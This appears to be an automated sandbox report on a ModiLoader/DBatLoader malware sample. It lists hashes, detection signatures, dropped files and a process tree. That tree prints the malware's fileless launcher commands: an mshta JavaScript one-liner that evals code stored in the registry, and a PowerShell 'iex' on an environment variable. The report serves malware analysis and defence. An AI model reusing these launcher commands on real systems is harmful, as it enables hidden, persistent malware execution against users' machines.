Analysis

  • max time kernel
    1800s
  • max time network
    1729s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    22-11-2024 02:21

General

  • Target

    457C9141ECDD9E9CFC61551FEA2BCB86AFF56CC8.exe

  • Size

    274KB

  • MD5

    d476d735ba41702724d7dd7f5d1c32c3

  • SHA1

    457c9141ecdd9e9cfc61551fea2bcb86aff56cc8

  • SHA256

    1fc62e423ea4522f559aebf7642efe2c83a563c6eeff0192432725efde096e1a

  • SHA512

    66337c6180d095d9b7447dcd0a4b9a3cce2e81f3c0ee3bf94e8cc0285f9395a045b8f250abb1fd82d0de1aefe20dc9353857f51201b722caf805c63661b39e20

  • SSDEEP

    6144:8AsBZW+83AjJJkjb8elFfnBhnjgGxuXUYMoRf1ThAIR:L+MAj94FpljjuXL/l12IR

Malware Config

Signatures

  • ModiLoader, DBatLoader

    ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.

  • Modiloader family
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Checks for common network interception software 1 TTPs

    Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.

  • Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
  • Looks for VirtualBox drivers on disk 2 TTPs 1 IoCs
  • ModiLoader Second Stage 46 IoCs
  • Adds policy Run key to start application 2 TTPs 2 IoCs
  • Contacts a large (541) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Looks for VMWare Tools registry key 2 TTPs 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Maps connected drives based on registry 3 TTPs 2 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 3 IoCs
  • Modifies registry class 7 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 38 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\457C9141ECDD9E9CFC61551FEA2BCB86AFF56CC8.exe
    "C:\Users\Admin\AppData\Local\Temp\457C9141ECDD9E9CFC61551FEA2BCB86AFF56CC8.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:580
    • C:\Users\Admin\AppData\Local\Temp\457C9141ECDD9E9CFC61551FEA2BCB86AFF56CC8.exe
      "C:\Users\Admin\AppData\Local\Temp\457C9141ECDD9E9CFC61551FEA2BCB86AFF56CC8.exe"
      2⤵
      • System Location Discovery: System Language Discovery
      PID:1580
  • C:\Windows\system32\mshta.exe
    "C:\Windows\system32\mshta.exe" javascript:Y7NteFq6="x4";hb9=new%20ActiveXObject("WScript.Shell");dmCjyL28="SPu0Lz6";Qlg61F=hb9.RegRead("HKLM\\software\\Wow6432Node\\uUHRzi\\29mDkSA2jU");Pd1Caeve="wxSDI";eval(Qlg61F);xKZC54fcws="kOTnuXQ";
    1⤵
    • Process spawned unexpected child process
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:2440
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:rmspgj
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Suspicious use of SetThreadContext
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2680
      • C:\Windows\SysWOW64\regsvr32.exe
        regsvr32.exe
        3⤵
        • Looks for VirtualBox Guest Additions in registry
        • Looks for VirtualBox drivers on disk
        • Adds policy Run key to start application
        • Looks for VMWare Tools registry key
        • Checks BIOS information in registry
        • Deletes itself
        • Adds Run key to start application
        • Maps connected drives based on registry
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Modifies Internet Explorer settings
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of WriteProcessMemory
        PID:1512
        • C:\Windows\SysWOW64\regsvr32.exe
          "C:\Windows\SysWOW64\regsvr32.exe"
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2192
        • C:\Windows\SysWOW64\regsvr32.exe
          "C:\Windows\SysWOW64\regsvr32.exe"
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2864

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\Cab9B4.tmp

    Filesize

    70KB

    MD5

    49aebf8cbd62d92ac215b2923fb1b9f5

    SHA1

    1723be06719828dda65ad804298d0431f6aff976

    SHA256

    b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

    SHA512

    bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

  • C:\Users\Admin\AppData\Local\Temp\Tar9C6.tmp

    Filesize

    181KB

    MD5

    4ea6026cf93ec6338144661bf1202cd1

    SHA1

    a1dec9044f750ad887935a01430bf49322fbdcb7

    SHA256

    8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

    SHA512

    6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

  • \Users\Admin\AppData\Local\Temp\nsyD912.tmp\System.dll

    Filesize

    11KB

    MD5

    883eff06ac96966270731e4e22817e11

    SHA1

    523c87c98236cbc04430e87ec19b977595092ac8

    SHA256

    44e5dfd551b38e886214bd6b9c8ee913c4c4d1f085a6575d97c3e892b925da82

    SHA512

    60333253342476911c84bbc1d9bf8a29f811207787fdd6107dce8d2b6e031669303f28133ffc811971ed7792087fe90fb1faabc0af4e91c298ba51e28109a390

  • \Users\Admin\AppData\Local\Temp\obsoleteness.dll

    Filesize

    11KB

    MD5

    ae06b929b3f282d0dbc87e461795a8ff

    SHA1

    7b2c2242008d0b05c205b70ff4639a9b59539bab

    SHA256

    a869b6a12d4266f1b474091fc687db54a40ba34e1721853a00727c2b450e37d7

    SHA512

    e59c42373ba2ae3fc6acf84aadbeaa589aba36604398a1eda58f0c27766255c37a09d1ed362757a97423dc8c2bc36ab31c176b018fccb2bf988b1341c471e246

  • memory/1512-75-0x00000000001A0000-0x00000000002D2000-memory.dmp

    Filesize

    1.2MB

  • memory/1512-54-0x00000000001A0000-0x00000000002D2000-memory.dmp

    Filesize

    1.2MB

  • memory/1512-62-0x00000000001A0000-0x00000000002D2000-memory.dmp

    Filesize

    1.2MB

  • memory/1512-65-0x00000000001A0000-0x00000000002D2000-memory.dmp

    Filesize

    1.2MB

  • memory/1512-61-0x00000000001A0000-0x00000000002D2000-memory.dmp

    Filesize

    1.2MB

  • memory/1512-70-0x00000000001A0000-0x00000000002D2000-memory.dmp

    Filesize

    1.2MB

  • memory/1512-83-0x00000000001A0000-0x00000000002D2000-memory.dmp

    Filesize

    1.2MB

  • memory/1512-84-0x00000000001A0000-0x00000000002D2000-memory.dmp

    Filesize

    1.2MB

  • memory/1512-86-0x00000000001A0000-0x00000000002D2000-memory.dmp

    Filesize

    1.2MB

  • memory/1512-87-0x00000000001A0000-0x00000000002D2000-memory.dmp

    Filesize

    1.2MB

  • memory/1512-85-0x00000000001A0000-0x00000000002D2000-memory.dmp

    Filesize

    1.2MB

  • memory/1512-72-0x00000000001A0000-0x00000000002D2000-memory.dmp

    Filesize

    1.2MB

  • memory/1512-73-0x00000000001A0000-0x00000000002D2000-memory.dmp

    Filesize

    1.2MB

  • memory/1512-76-0x00000000001A0000-0x00000000002D2000-memory.dmp

    Filesize

    1.2MB

  • memory/1512-78-0x00000000001A0000-0x00000000002D2000-memory.dmp

    Filesize

    1.2MB

  • memory/1512-74-0x00000000001A0000-0x00000000002D2000-memory.dmp

    Filesize

    1.2MB

  • memory/1512-56-0x00000000001A0000-0x00000000002D2000-memory.dmp

    Filesize

    1.2MB

  • memory/1512-80-0x00000000001A0000-0x00000000002D2000-memory.dmp

    Filesize

    1.2MB

  • memory/1512-59-0x00000000001A0000-0x00000000002D2000-memory.dmp

    Filesize

    1.2MB

  • memory/1512-58-0x00000000001A0000-0x00000000002D2000-memory.dmp

    Filesize

    1.2MB

  • memory/1512-69-0x00000000001A0000-0x00000000002D2000-memory.dmp

    Filesize

    1.2MB

  • memory/1512-71-0x00000000001A0000-0x00000000002D2000-memory.dmp

    Filesize

    1.2MB

  • memory/1512-63-0x00000000001A0000-0x00000000002D2000-memory.dmp

    Filesize

    1.2MB

  • memory/1512-64-0x00000000001A0000-0x00000000002D2000-memory.dmp

    Filesize

    1.2MB

  • memory/1512-81-0x00000000001A0000-0x00000000002D2000-memory.dmp

    Filesize

    1.2MB

  • memory/1512-82-0x00000000001A0000-0x00000000002D2000-memory.dmp

    Filesize

    1.2MB

  • memory/1512-79-0x00000000001A0000-0x00000000002D2000-memory.dmp

    Filesize

    1.2MB

  • memory/1512-60-0x00000000001A0000-0x00000000002D2000-memory.dmp

    Filesize

    1.2MB

  • memory/1512-66-0x00000000001A0000-0x00000000002D2000-memory.dmp

    Filesize

    1.2MB

  • memory/1512-67-0x00000000001A0000-0x00000000002D2000-memory.dmp

    Filesize

    1.2MB

  • memory/1512-68-0x00000000001A0000-0x00000000002D2000-memory.dmp

    Filesize

    1.2MB

  • memory/1580-43-0x0000000001CE0000-0x0000000001DAC000-memory.dmp

    Filesize

    816KB

  • memory/1580-40-0x0000000001CE0000-0x0000000001DAC000-memory.dmp

    Filesize

    816KB

  • memory/1580-19-0x0000000000400000-0x0000000000438000-memory.dmp

    Filesize

    224KB

  • memory/1580-17-0x0000000000400000-0x0000000000438000-memory.dmp

    Filesize

    224KB

  • memory/1580-23-0x0000000000400000-0x0000000000438000-memory.dmp

    Filesize

    224KB

  • memory/1580-25-0x0000000000400000-0x0000000000438000-memory.dmp

    Filesize

    224KB

  • memory/1580-27-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

    Filesize

    4KB

  • memory/1580-29-0x0000000000400000-0x0000000000438000-memory.dmp

    Filesize

    224KB

  • memory/1580-42-0x0000000001CE0000-0x0000000001DAC000-memory.dmp

    Filesize

    816KB

  • memory/1580-38-0x0000000001CE0000-0x0000000001DAC000-memory.dmp

    Filesize

    816KB

  • memory/1580-39-0x0000000001CE0000-0x0000000001DAC000-memory.dmp

    Filesize

    816KB

  • memory/1580-21-0x0000000000400000-0x0000000000438000-memory.dmp

    Filesize

    224KB

  • memory/1580-41-0x0000000001CE0000-0x0000000001DAC000-memory.dmp

    Filesize

    816KB

  • memory/1580-37-0x0000000001CE0000-0x0000000001DAC000-memory.dmp

    Filesize

    816KB

  • memory/1580-36-0x0000000000400000-0x0000000000438000-memory.dmp

    Filesize

    224KB

  • memory/1580-34-0x0000000000400000-0x0000000000438000-memory.dmp

    Filesize

    224KB

  • memory/2192-90-0x0000000000230000-0x0000000000362000-memory.dmp

    Filesize

    1.2MB

  • memory/2192-89-0x0000000000230000-0x0000000000362000-memory.dmp

    Filesize

    1.2MB

  • memory/2192-88-0x0000000000230000-0x0000000000362000-memory.dmp

    Filesize

    1.2MB

  • memory/2680-53-0x0000000006230000-0x00000000062FC000-memory.dmp

    Filesize

    816KB

  • memory/2680-57-0x0000000006230000-0x00000000062FC000-memory.dmp

    Filesize

    816KB